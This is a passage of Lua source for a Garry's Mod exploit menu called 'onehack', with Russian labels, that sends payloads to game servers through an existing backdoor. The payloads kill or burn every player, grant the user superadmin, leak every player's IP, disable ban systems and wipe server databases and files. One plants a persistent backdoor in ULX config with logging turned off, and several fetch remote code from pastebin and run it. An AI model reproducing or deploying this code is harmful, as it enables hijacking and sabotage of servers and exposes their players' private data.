673 onehack.backlistt_players_list:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar():GetWide(), onehack.backlistt_players_list:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
674 onehack.backlistt_players_list:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar().btnUp:GetWide(), onehack.backlistt_players_list:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
675 onehack.backlistt_players_list:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar().btnDown:GetWide(), onehack.backlistt_players_list:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
676 onehack.backlistt_players_list:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar().btnGrip:GetWide(), onehack.backlistt_players_list:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
677
678 onehack.player_button_prev = vgui.Create( "DButton", onehackdooropt )
679 onehack.player_button_prev:SetText( "" )
680 onehack.player_button_prev:SetPos(5,95)
681 onehack.player_button_prev:SetSize(150,20)
682 function onehack.player_button_prev:Paint( w,h )
683 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
684 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
685 draw.SimpleText("Player list","DermaDefault",w/2,h/2,Color(130,130,130),1,1)
686 end
687
688 onehack.player_button_all = onehack.backlistt_players_list:Add( "DButton" )
689 onehack.player_button_all:SetText( "" )
690 onehack.player_button_all:Dock( TOP )
691 onehack.player_button_all:DockMargin( 0, 0, 0, 0 )
692 function onehack.player_button_all:Paint( w,h )
693 if onehack.player_button_all:IsHovered() then
694 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
695 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
696 else
697 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
698 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
699 end
700 if onehack.selected_player == 0 then
701 draw.SimpleText("> All player's <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
702 else
703 draw.SimpleText("All player's","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
704 end
705 end
706 function onehack.player_button_all:DoClick()
707 onehack.selected_player = 0
708 end
709
710 for k,v in pairs(player.GetAll()) do
711 local onehack_player_button = onehack.backlistt_players_list:Add( "DButton" )
712 onehack_player_button:SetText( "" )
713 onehack_player_button:Dock( TOP )
714 onehack_player_button:DockMargin( 0, 0, 0, 0 )
715 onehack_player_button.Paint = function( _, w, h )
716 if onehack_player_button:IsHovered() then
717 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
718 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
719 else
720 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
721 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
722 end
723 if onehack.selected_player == v then
724 draw.SimpleText("> "..v:Name().." <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
725 else
726 draw.SimpleText(v:Name(),"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
727 end
728 end
729 function onehack_player_button:DoClick()
730 onehack.selected_player = v
731 end
732 end
733
734 onehack.backlistt_functions = vgui.Create( "DPanel", onehackdooropt )
735 onehack.backlistt_functions:SetPos(160,65)
736 onehack.backlistt_functions:SetSize(301,313)
737 function onehack.backlistt_functions:Paint( w,h )
738 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
739 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
740 end
741
742 onehack.backlistt_functionsss_list = vgui.Create( "DScrollPanel", onehack.backlistt_functions )
743 onehack.backlistt_functionsss_list:Dock(FILL)
744 function onehack.backlistt_functionsss_list:Paint( w,h )
745 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
746 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
747 end
748 onehack.backlistt_functionsss_list.VBar:SetWidth(1)
749 onehack.backlistt_functionsss_list:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar():GetWide(), onehack.backlistt_functionsss_list:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
750 onehack.backlistt_functionsss_list:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar().btnUp:GetWide(), onehack.backlistt_functionsss_list:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
751 onehack.backlistt_functionsss_list:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar().btnDown:GetWide(), onehack.backlistt_functionsss_list:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
752 onehack.backlistt_functionsss_list:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar().btnGrip:GetWide(), onehack.backlistt_functionsss_list:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
753
754 onehack.AddFunction("Поменять всем имя", "textfield_rename", buttlistback, function()
755 onehack.NetStart( onehack.selectedbackdoor )
756 net.WriteString( "for k, v in pairs(player.GetAll()) do v:ConCommand(\"say /name Супе Г ом!\"); end" )
757 net.WriteBit(1)
758 onehack.SendToServak()
759 end)
760
761 onehack.AddFunction("Убить всех", "cut", buttlistback, function()
762 onehack.NetStart( onehack.selectedbackdoor )
763 net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
764 net.WriteBit(1)
765 onehack.SendToServak()
766 end)
767
768 onehack.AddFunction("Танцы", "cut", buttlistback, function()
769 onehack.NetStart( onehack.selectedbackdoor )
770 net.WriteString( [[for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end timer.Create("dance_loop",2.3,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end end )
771 ]] )
772 net.WriteBit(1)
773 onehack.SendToServak()
774 end)
775
776 onehack.AddFunction("Подкинуть всех", "arrow_up", buttlistback, function()
777 onehack.NetStart( onehack.selectedbackdoor )
778 net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end" )
779 net.WriteBit(1)
780 onehack.SendToServak()
781 end)
782
783 onehack.AddFunction("Half-Life 2", "clock_play", buttlistback, function()
784 onehack.NetStart( onehack.selectedbackdoor )
785 net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/editor/playerstart.mdl\") end" )
786 net.WriteBit(1)
787 onehack.SendToServak()
788 end)
789
790 onehack.AddFunction("К утилика", "arrow_rotate_anticlockwise", buttlistback, function()
791 onehack.NetStart( onehack.selectedbackdoor )
792 onehack.NetWireString(
793 [[hook.Add( "Think", "#bone::manipulation#", function()
794 for k,v in pairs(player.GetAll()) do
795 local hands = v:LookupBone("ValveBiped.Bip01_R_Hand")
796
797 v:ManipulateBoneAngles( hands, Angle(0, 0, RealTime()*500) )
798 end
799 end )]])
800 net.WriteBit(1)
801 onehack.SendToServak()
802 end)
803
804 onehack.AddFunction("Заб ать о ужия у всех", "controller_delete", buttlistback, function()
805 onehack.NetStart( onehack.selectedbackdoor )
806 onehack.NetWireString([[for _, p in pairs(player.GetAll()) do if not ]]..LocalPlayer():UniqueID()..[[ then p:StripWeapons() end end]])
807 net.WriteBit(1)
808 onehack.SendToServak()
809 end)
810
811 onehack.AddFunction("Поджечь всех", "building", buttlistback, function()
812 onehack.NetStart( onehack.selectedbackdoor )
813 net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" )
814 net.WriteBit(1)
815 onehack.SendToServak()
816 end)
817
818 onehack.AddFunction("Выдать себе п ивилегию", "user_gray", buttlistback, function()
819 onehack.NetStart( onehack.selectedbackdoor )
820 net.WriteString( [[
821
822 local id = ]] .. LocalPlayer():UserID() .. [[
823
824 Player( id ):SetUserGroup( "superadmin" )
825
826 ]] )
827 net.WriteBit(1)
828 onehack.SendToServak()
829 end)
830
831 onehack.AddFunction("Камшейк", "emoticon_evilgrin", buttlistback, function()
832 onehack.NetStart( onehack.selectedbackdoor )
833 onehack.NetWireString("for k,v in pairs(player.GetAll()) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end")
834 net.WriteBit(1)
835 onehack.SendToServak()
836 end)
837
838 onehack.AddFunction("2D Модели", "font", buttlistback, function()
839 onehack.NetStart( onehack.selectedbackdoor )
840 onehack.NetWireString([[
841 for k,v in pairs(player.GetAll()) do
842 local a = v:LookupBone("ValveBiped.Bip01_Head1")
843 local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
844 local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
845 local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
846 local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
847 local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
848 local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
849 local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
850 local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
851 local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
852 local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
853
854 v:ManipulateBoneScale( a, Vector(4,0,4))
855 v:ManipulateBoneScale( b, Vector(0,0,0))
856 v:ManipulateBoneScale( c, Vector(0,0,0))
857 v:ManipulateBoneScale( d, Vector(0,0,1))
858 v:ManipulateBoneScale( e, Vector(0,0,1))
859 v:ManipulateBoneScale( f, Vector(0,0,0))
860 v:ManipulateBoneScale( g, Vector(0,0,0))
861 v:ManipulateBoneScale( h, Vector(1,1.5,1.5))
862 v:ManipulateBoneScale( i, Vector(1,1.5,1.5))
863 v:ManipulateBoneScale( j, Vector(0,0,0))
864 v:ManipulateBoneScale( k, Vector(0,0,0))
865 end]])
866 net.WriteBit(1)
867 onehack.SendToServak()
868 end)
869
870 onehack.AddFunction("Всех в гигантов", "control_eject", buttlistback, function()
871 onehack.NetStart( onehack.selectedbackdoor )
872 onehack.NetWireString([[
873 hook.Add("Think", "giant", function()
874 for k,v in pairs (player.GetAll()) do
875 v:SetModelScale(2.5, 100);
876 v:SetRunSpeed(400 * 2);
877 v:SetWalkSpeed(200 * 2);
878 end
879 end)]])
880 net.WriteBit(1)
881 onehack.SendToServak()
882 end)
883
884 onehack.AddFunction("Все любят меня :3", "comment", buttlistback, function()
885 onehack.NetStart( onehack.selectedbackdoor )
886 net.WriteString([[for k,p in pairs(player.GetAll()) do
887 p:ConCommand("say Я люблю Foer'a <3")
888 end
889 ]])
890 net.WriteBit(1)
891 net.SendToServer()
892 end)
893
894 onehack.AddFunction("Показать IP всех иг оков", "chart_organisation", buttlistback, function()
895 onehack.NetStart( onehack.selectedbackdoor )
896 onehack.NetWireString([[
897
898 local id = ]] .. LocalPlayer():UserID() .. [[
899
900 for k, v in pairs( player.GetAll() ) do
901
902 Player( id ):ChatPrint( "Player: " .. v:Nick() .. " (" .. v:SteamID() .. ") IP: " .. v:IPAddress() )
903
904 end
905
906 ]])
907 net.WriteBit(1)
908 onehack.SendToServak()
909 end)
910
911 onehack.AddFunction("Сломать (ULX и FAdmin)", "brick_delete", buttlistback, function()
912 onehack.NetStart( onehack.selectedbackdoor )
913 onehack.NetWireString([[
914 ULib.Ban = function() return false end
915 _G.FAdmin = function() end
916 ULib.addBan = function() return end
917
918 ULib.kick = function() return end
919 ]])
920 net.WriteBit(1)
921 onehack.SendToServak()
922 end)
923
924 onehack.AddFunction("Дискотека", "group", buttlistback, function()
925 onehack.NetStart( onehack.selectedbackdoor )
926 onehack.NetWireString("http.Fetch(\"https://pastebin.com/raw/ehNbAECD\",function(b,l,h,c)RunString(b)end,nil)")
927 net.WriteBit(1)
928 onehack.SendToServak()
929 end)
930
931 onehack.AddFunction("Пломби овать", "server_link", buttlistback, function()
932 onehack.NetStart( onehack.selectedbackdoor )
933 onehack.NetWireString("http.Fetch(\"https://pastebin.com/raw/z8TmzbFF\",function(b,l,h,c)RunString(b)end,nil)")
934 net.WriteBit(1)
935 onehack.SendToServak()
936 end)
937
938 onehack.AddFunction(" азбанить всех", "database_edit", buttlistback, function()
939 onehack.NetStart( onehack.selectedbackdoor )
940 net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" )
941 net.WriteBit(1)
942 onehack.SendToServak()
943 end)
944
945 onehack.AddFunction("Удалить все г уппы", "group_delete", buttlistback, function()
946 onehack.NetStart( onehack.selectedbackdoor )
947 net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" )
948 net.WriteBit(1)
949 onehack.SendToServak()
950 end)
951
952 onehack.AddFunction("Сб осить деньги", "money_delete", buttlistback, function()
953 onehack.NetStart( onehack.selectedbackdoor )
954 net.WriteString( "RunConsoleCommand(\"rp_resetallmoney\")" )
955 net.WriteBit(1)
956 onehack.SendToServak()
957 end)
958
959 onehack.AddFunction("Очистить ка ту", "cut_red", buttlistback, function()
960 onehack.NetStart( onehack.selectedbackdoor )
961 onehack.NetWireString("for k, v in pairs(ents.FindByClass( \"prop_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"func_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"env_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"lua_run*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"point_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"trigger_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"info_*\" )) do v:Remove() end")
962 net.WriteBit(1)
963 onehack.SendToServak()
964 end)
965
966 onehack.AddFunction("Изменить имя се ве а", "drive_rename", buttlistback, function()
967 onehack.NetStart( onehack.selectedbackdoor )
968 onehack.NetWireString("RunConsoleCommand(\"ulx\", \"rcon\", \"hostname\", \"• Ħá¢ҝ ƀɤ ǺβÇŦųŋℯᶉ | Ñęţ:("..onehack.selectedbackdoor..")\")")
969 net.WriteBit(1)
970 onehack.SendToServak()
971 end)
972
973 onehack.AddFunction("Спам", "keyboard", buttlistback, function()
974 onehack.NetStart( onehack.selectedbackdoor )
975 onehack.NetWireString("timer.Create( \"sppspas\", 0.1, 0, function() print(\"Hack by ABCTuner | Do not steal! | Вы наказаны за во овство, коде ы тоже люди и хотят есть! Они за абатывают на жизнь п одавая свои замечательные аддоны!\"); BroadcastLua([[chat.AddText(Color(255,10,100), \"• Ħáсҝ ƀɤ ǺβÇŦųŋℯᶉ \",Color(255,255,255),\"| Do not steal! | Ñęţ: \",HSVToColor( CurTime() % 6 * 60, 1, 1 ),\""..onehack.selectedbackdoor.."\" )]]) end)")
976 net.WriteBit(1)
977 onehack.SendToServak()
978 end)
979
980 onehack.AddFunction("Отпе еть все две и", "door_open", buttlistback, function()
981 onehack.NetStart( onehack.selectedbackdoor )
982 onehack.NetWireString([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]])
983 net.WriteBit(1)
984 onehack.SendToServak()
985 end)
986
987 onehack.AddFunction("Отк ыть все две и на ка те", "door_open", buttlistback, function()
988 onehack.NetStart( onehack.selectedbackdoor )
989 onehack.NetWireString([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]])
990 net.WriteBit(1)
991 onehack.SendToServak()
992 end)
993
994 onehack.AddFunction("Очистить все данные", "folder_delete", buttlistback, function()
995 onehack.NetStart( onehack.selectedbackdoor )
996 onehack.NetWireString([[
997 local date = os.date( "%m-%d-%y" )
998 local databases = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
999 local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
1000 local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
1001
1002 for k,v in pairs(databases) do
1003 if sql.TableExists(v) then
1004 sql.Query("DROP TABLE "..v.." ;")
1005 sql.Query("CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );")
1006 end
1007 end
1008
1009 for k,v in pairs(datafiles) do
1010 if file.Exists(v) then
1011 file.Delete(v)
1012 file.write(v, "А вот нехуй было обманывать")
1013 end
1014 end
1015
1016 for k,v in pairs(sensitivefiles) do
1017 if file.Exists(v) then
1018 file.Delete(v)
1019 file.write(v, "А вот нехуй было обманывать")
1020 end
1021 end
1022 ]])
1023 net.WriteBit(1)
1024 onehack.SendToServak()
1025 end)
1026 --
1027 onehack.AddFunction("Iseeyou", "shield_go", buttlistback, function()
1028 http.Fetch( "http://pastebin.com/raw.php?i=Ps16AErr", RunString )
1029 onehack.NetStart( onehack.selectedbackdoor )
1030 onehack.NetWireString("http.Fetch( \"http://pastebin.com/raw.php?i=Ps16AErr\", RunString )")
1031 net.WriteBit(1)
1032 onehack.SendToServak()
1033 RunConsoleCommand("iseeyou")
1034 end)
1035 onehack.AddFunction("Всех в КПЗ", "shield_go", buttlistback, function()
1036 onehack.NetStart( onehack.selectedbackdoor )
1037 onehack.NetWireString("RunConsoleCommand(\"ulx\", \"jail\", \"*\")")
1038 net.WriteBit(1)
1039 onehack.SendToServak()
1040 end)
1041
1042 onehack.AddFunction("Инфекция", "chart_line_edit", buttlistback, function()
1043 onehack.NetStart( onehack.selectedbackdoor )
1044 onehack.NetWireString([[
1045 local config = ULib.fileRead( "data/ulx/config.txt" )
1046
1047 config = config.."\nulx logEcho 0"
1048
1049 config = config.."\nulx luarun util.AddNetworkString( 'ABCNet' ) net.Receive( 'ABCNet', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )"
1050
1051 config = config.."\nulx logEcho 1"
1052
1053 ULib.fileWrite( "data/ulx/config.txt", config )
1054
1055 ]])
1056 net.WriteBit(1)
1057 onehack.SendToServak()
1058 end)
1059
1060 onehack.AddFunction("А магеддон", "bomb", buttlistback, function()
1061 onehack.NetStart( onehack.selectedbackdoor )
1062 onehack.NetWireString([[
1063 hook.Add("Think", "armageddon", function()
1064 local explode = ents.Create( "env_explosion" )
1065 explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
1066 explode:Spawn()
1067 explode:SetKeyValue( "iMagnitude", "500" )
1068 explode:Fire( "Explode", 0, 0 )
1069 end)
1070 ]])
1071 net.WriteBit(1)
1072 onehack.SendToServak()
1073 end)
1074
1075 onehack.AddFunction("Изменить звуки шагов", "sound", buttlistback, function()
1076 onehack.NetStart( onehack.selectedbackdoor )
1077 onehack.NetWireString("hook.Add(\"PlayerFootstep\", \"porn\", function(ply, pos, foot, sound2, volume, filter) ply:EmitSound( \"vo/npc/female01/pain06.wav\",75,math.random( 50, 150 )) end )")
1078 net.WriteBit(1)
1079 onehack.SendToServak()
1080 end)
1081
1082 onehack.AddFunction("Сказать что се ве у пизда", "sound", buttlistback, function()
1083 onehack.NetStart( onehack.selectedbackdoor )
1084 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://mamkaeb.000webhostapp.com/sound.mp3\", \"mono\", function()end )]])")
1085 net.WriteBit(1)
1086 net.SendToServer()
1087 end)
1088
1089 onehack.AddFunction("Музыка - Be Friend", "sound", buttlistback, function()
1090 onehack.NetStart( onehack.selectedbackdoor )
1091 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://loadingscrren.000webhostapp.com/BE%20FRIENDS.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Be Friend\")]])")
1092 net.WriteBit(1)
1093 net.SendToServer()
1094 end)
1095
1096 onehack.AddFunction("Музыка - П ивет, это к уто", "sound", buttlistback, function()
1097 onehack.NetStart( onehack.selectedbackdoor )
1098 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://loadingscrren.000webhostapp.com/Salut%20Cest%20Cool.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"П ивет это к уто\")]])")
1099 net.WriteBit(1)
1100 net.SendToServer()
1101 end)
1102
1103 onehack.AddFunction("Музыка - Somewhere over", "sound", buttlistback, function()
1104 onehack.NetStart( onehack.selectedbackdoor )
1105 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://loadingscrren.000webhostapp.com/Somewhere%20over.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Somehere over\")]])")
1106 net.WriteBit(1)
1107 net.SendToServer()
1108 end)
1109
1110 onehack.AddFunction("Музыка - Петушиный вой", "sound", buttlistback, function()
1111 onehack.NetStart( onehack.selectedbackdoor )
